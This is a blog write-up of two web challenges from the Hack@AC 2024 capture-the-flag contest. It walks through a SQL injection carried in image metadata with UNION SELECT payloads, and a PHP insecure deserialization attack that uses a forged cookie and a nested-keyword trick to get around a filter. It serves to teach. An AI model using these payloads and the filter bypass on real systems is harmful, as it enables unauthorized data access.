Hack@AC 2024
2024-02-29 17:43 +0800
Hack@AC 2024
I took part in Hack@AC 2024 with the team ඞඞඞඞ. We attained 4th place in the tertiary category, having the same score as 3rd place, simply submitting the last flag later than them :(
Additionally, I won the first blood prize for solving the challenge web/Libwary
.
🩸 web/Fruit Color Query
One of the more interesting sql injection challenges.
Reconnaissance
Going to the website and using the sample apple picture provided, it seems that it outputs the colour of the fruit.
However, when you input a different jpg file, the website instead writes Cannot Verify Your Picture is A Fruit. Please Add a Metadata to Your Picture.
From my teammate’s tinkering, she figured out that the website would refer to the picture’s “title” and “subject” metadata to determine the fruit type.
From the sample image, when the “title” and “subject” metadata are labelled as apple
, the website outputs red. When you change the metadata to banana
, the website outputs yellow.
However, when you change the metadata to flag
or some other bogus value, the website returns an error.
That was when my teammate guessed it was probably a SQL Injection challenge.
SQL Injection
To solve this challenge, we will make use of a UNION attack, as we need to obtain data from other tables in the database.
First up, we need to figure out what table and column in the database contains the flag. For this, I used sqlite_master
, a table that stores the schema of the database (this only applies to sqlite, I simply guessed that the application was using that).
My plan was to SELECT sql FROM sqlite_master
, which tells us the CREATE TABLE
query that was executed. This way, we can see the name and columns of all the tables in the database.
To execute that, we will edit the metadata of the file to be ' UNION SELECT sql FROM sqlite_master --
.
'
closes the stringUNION SELECT
lets us query data outside of the current table we are insql
is the column we are selecting from the tablesqlite_master
--
comments out the rest of the query, so as to avoid any errors caused by the end of the query (eg the trailing'
at the end)
Thus, the full query becomes SELECT <colour> FROM <fruit_table> WHERE <fruit>='' UNION SELECT sql FROM sqlite_master--'
.
This returns the sql of the table since SELECT <colour> FROM <fruit_table> WHERE <fruit>=''
will return nothing.
When we input the file with the metadata as stated, we get this output:
Nice, we now know the table name is flag
and the the column is flag
of the datatype TEXT
(Click here for more about the CREATE TABLE syntax).
Now, we just need to use another UNION attack, this time to UNION SELECT the flag instead. We adjust the metadata to be ' UNION SELECT flag FROM flag--
.
And when we submit the image, the application returns the flag.
Flag: ACSI{sql1_i5_d34d?_1_d0n't_r341ly_Kn0w}
A short note on UNION attacks
When I solved the challenge, and used UNION SELECT sql FROM sqlite_master
, it actually returned the sql schema for the fruits table instead of the flag table.
UNION SELECT sql FROM sqlite_master
returns the sql schema of all the tables in the database (in this case, 2 tables). However, the webpage only returns the first result (between the 2 tables). Thus, it may return the wrong table.
To solve that problem, add LIMIT 1 OFFSET 1
to the sql injection query. This basically offsets the result by 1, to grab the 2nd table.
🩸web/Libwary
Won the first blood prize for this :D
Reconnaissance
Pulling up the website, it let us select a book and prints out its contents, one of which is “the flag”. However, selecting that gives us this:
Additionally, the website also states our username at the top.
Let’s dive into the source code.
index.php
<?php
include("util.php");
if ($_SERVER['REQUEST_METHOD'] == "POST"){
$option = $_POST['book'];
}
else{
$option = -1;
}
if (!isset($_COOKIE['PHPSESSID'])){
$user = new User("User". substr(uniqid(),5,9));
setcookie("PHPSESSID", base64_encode(serialize($user)));
}
else{
$user = unserialize(base64_decode($_COOKIE['PHPSESSID']));
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Libwary</title>
</head>
<body>
<h1> Welcome to the Libwary™,
<?php
echo $user;
?>
</h1>
<h3> Select a book to read </h3>
<form action="index.php" method="POST">
<select name="book">
<option value="1">A Love Story</option>
<option value="2">The Hackerman</option>
<option value="3">The Egg</option>
<option value="4">Exploring the Castle</option>
<option value="5"> The Flag </option>
</select>
<input type="submit" value="Read">
</form>
<p> <?php
if ($option != -1){
$book = new Book($option);
echo $book;
}
else{
echo "Please select a book to read";
}
?>
</p>
</body>
</html>
A post request is sent based on the book we choose. Also, our username is obtained from our PHPSESSID cookie, which is serialized from the User class (shown below).
- Serialization generates a storable representation of PHP values, without losing their type and structure
Now, looking at util.php
, we see 2 classes defined: Book
and User
. Let’s first focus on the Book class.
$titles = array("lovestory.txt", "hackerstory.txt", "eggstory.txt", "castlestory.txt", "flag.txt");
//bro thought he was cool by using classes for everything...
class Book {
public $option;
public $name;
public $content;
function __construct($option) {
$this->option = intval($option);
$this->name = $GLOBALS['titles'][$this->option - 1];
//if option was the flag, don't allow the user to read it
if ($this->option == 5){
$this->name = "fakeflag.txt";
}
}
function __tostring(){
//final defence
if ($this->name != "fakeflag.txt") $this->name = str_ireplace("flag", "", $this->name);
//read the file
$this->content = file_get_contents("books/" . $this->name);
//make it look nicer
$this->content = str_replace("\r", "", $this->content);
$this->content = str_replace("\n", "<br>", $this->content);
return $this->content;
}
}
From here, we can see why selecting “the flag” doesn’t work:
When an object with the class Book
is first created (via __construct()
), if we chose “the flag” as the book, it will be converted to “fakeflag.txt” instead.
It also has a final defence in __tostring
(what is represented when the Book class is treated as a string), where it removes all occurences of “flag” in the name of the book chosen (unless it is “fakeflag.txt”).
Now moving on to the User class:
class User {
public $name;
function __construct($name) {
$this->name = $name;
}
function __tostring() {
return $this->name;
}
}
Not much to say, it just consists of a name. The __tostring
method returns the name of the user. In this case, said __tostring
method will be triggered at the following portion of the code (echo
is similar to print
in outputting data to the screen).
<h1> Welcome to the Libwary™,
<?php
echo $user;
?>
</h1>
That is why our username is able to be dynamically displayed on the webpage.
So how can we solve this problem? The defences to prevent us from accessing “flag.txt” in Book
all seem quite legit…
Controlling the cookie
Remember earlier where our username is determined from our cookie?
if (!isset($_COOKIE['PHPSESSID'])){
$user = new User("User". substr(uniqid(),5,9));
setcookie("PHPSESSID", base64_encode(serialize($user)));
}
else{
$user = unserialize(base64_decode($_COOKIE['PHPSESSID']));
}
Since we can control the value of the cookie, what if we decide to change the value of PHPSESSID?
- You can use extensions to change the value of the cookie (I am using Cookie-Editor)
Typing bogus values leads to the username not even being displayed. This is because we face a deserizaliation error.
Thus, to change our username without throwing an error, we need to encode it the same way as how the cookie was encoded in the code:
setcookie("PHPSESSID", base64_encode(serialize($user)));
So, we need to encode it through base64_encode(serialize(<new_username>))
. How about let’s try encode the value ‘hi’ as our username.
print(base64_encode(serialize('hi')));
// Output: czoyOiJoaSI7
Changing our PHPSESSID cookie to the output, we get ‘hi’ displayed as our username!
So, how can we exploit this to obtain the flag?
PHP Insecure Deserialization
Considering we can control PHPSESSID to display whatever we want, how if we serialize an object with the class Book
?
- Remember that serialization maintains the type and structure of the object!
The class Book
will return the content of the file when printed (as per its __toString
method).
function __tostring(){
//final defence
if ($this->name != "fakeflag.txt") $this->name = str_ireplace("flag", "", $this->name);
//read the file
$this->content = file_get_contents("books/" . $this->name);
//make it look nicer
$this->content = str_replace("\r", "", $this->content);
$this->content = str_replace("\n", "<br>", $this->content);
return $this->content;
}
So, when it undergoes the following code, if $user
is an object with the class Book
, it would return the contents of its file!
<h1> Welcome to the Libwary™,
<?php
echo $user;
?>
<!-- this will return the contents of the file selected,
if the variable $user is an object of class Book-->
</h1>
This is a potential vulnerability we can make use to print the contents “flag.txt”. We just need to serialize an object with the class Book
, but make $name = 'flag.txt'
.
Getting flag.txt
We can simulate creating an object with the Book
class by simply copy pasting the class and its variables from util.php
to our own php compiler (or use this online sandbox).
We can then simply proceed to encode this object via the abovementioned serialization procedure.
<?php
class Book {
public $option;
public $name;
public $content;
}
print(base64_encode(serialize(new Book())));
// we can serialize a Book object this way to then put into the cookie
?>
Since we did not include a __construct
method here, the value of $option
doesn’t determine the value of $name
.
- When we serialize the
$Book
object ourselves, the values that are stored are 1) the class name and 2) its variables (ie$option
,$name
). The methods (eg__construct
) will NOT be saved
So, why don’t we just fix $name
to “flag.txt” by ourselves?
<?php
class Book {
public $option;
public $name = "flag.txt"; //fix $name to flag.txt
public $content;
}
print(base64_encode(serialize(new Book()))); // serialize the Book object
// Output: Tzo0OiJCb29rIjozOntzOjY6Im9wdGlvbiI7TjtzOjQ6Im5hbWUiO3M6ODoiZmxhZy50eHQiO3M6NzoiY29udGVudCI7Tjt9
?>
As such, we have successfully encoded an object which has $name = "flag.txt"
.
However, this still wouldn’t work due to the final defence in __tostring
.
function __tostring(){
//final defence [it will remove all occurrences of "flag" in $name]
if ($this->name != "fakeflag.txt") $this->name = str_ireplace("flag", "", $this->name);
//read the file
$this->content = file_get_contents("books/" . $this->name);
//make it look nicer
$this->content = str_replace("\r", "", $this->content);
$this->content = str_replace("\n", "<br>", $this->content);
return $this->content;
}
As such, when printing the object, $name
will become ".txt"
which leads to an error.
Bypassing the final defence
I went to google around for some bypasses of str_ireplace
when I passed by this article.
In the case of this image, the filtered terms are <script>
and </script>
. To bypass the filter, the author embeds <script>
in the middle of a <scr
and ipt>
, forming <scr<script>ipt>
.
The filter will remove the <script>
in the middle, which combines the <scr
and ipt>
fragments to form the filtered term!
Applying this, what we need to do is to put $name = "flflagag.txt"
. This way, when the middle "flag"
is removed, the 2 fragments at the side will form "flag.txt"
!
Let’s create a serialized Book
object, this time with $name = "flflagag.txt"
.
<?php
class Book {
public $option;
public $name = "flflagag.txt";
public $content;
}
print(base64_encode(serialize(new Book())));
// Output: Tzo0OiJCb29rIjozOntzOjY6Im9wdGlvbiI7TjtzOjQ6Im5hbWUiO3M6MTI6ImZsZmxhZ2FnLnR4dCI7czo3OiJjb250ZW50IjtOO30=
?>
Let’s change out cookie to the output. Reloading the page, we get the flag displayed at the location of the username.
Flag: ACSI{0mg_th4nks_f0r_r3ading!}